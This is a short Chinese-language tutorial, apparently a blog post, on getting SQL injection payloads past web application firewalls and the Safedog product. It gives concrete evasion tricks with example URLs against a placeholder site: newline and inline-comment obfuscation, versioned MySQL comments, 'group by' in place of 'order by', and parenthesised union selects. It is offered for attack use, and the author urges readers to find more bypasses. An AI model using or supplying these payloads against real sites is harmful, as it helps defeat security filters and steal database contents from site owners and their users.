繞WAF&安全狗新姿式

俗話說只要思路寬，繞狗繞的歡。前段時間我有嘗試着用如下的方法繞狗，效果還不錯。不過這方法呢也許這段時間能夠繞過，過段時間可能就失效了，你們仍是要多去嘗試找到更多的方法。

 

舉例-->整型注入 繞過WAF

繞過方法：

•   就是修改大小寫 加%0a 或%0d去繞過（%0a是換行，%0d是回車） 如： and 1=1   可能會被過濾可改成  /*%0Aand%0a*/ 1=1  或  and 'a' in('a','b') 或  /*%0AaNd%0A*/ 1=1 
  
•      Order by 7 可改成 group by 7 或group by (7)去繞過
•      加括號去嘗試         id=-1 union select 1,2,3 可改成    id=-1 union (((select (1),2,3)))
  

             加+ - ! @ 去嘗試    id=-1 union select +或者@或者!或者- 1,2,3

             加%0a換行)            id=-1 union %0a select %0a 1,2,3

 

繞過安全狗：

• And 可用 url編碼%26表示
• 加內聯 和數字去繞過 如：http://www.xxx.com/union.php?id=-1 /*!union/*!44322/*!22322select*/ 1,2,3,4
•   每一個詞前加它/*%!a*/ 就是干擾  如：http://www.xxx.com/union.php?id=-1 union/*%!a*/select/*%!a*/1,2,3,4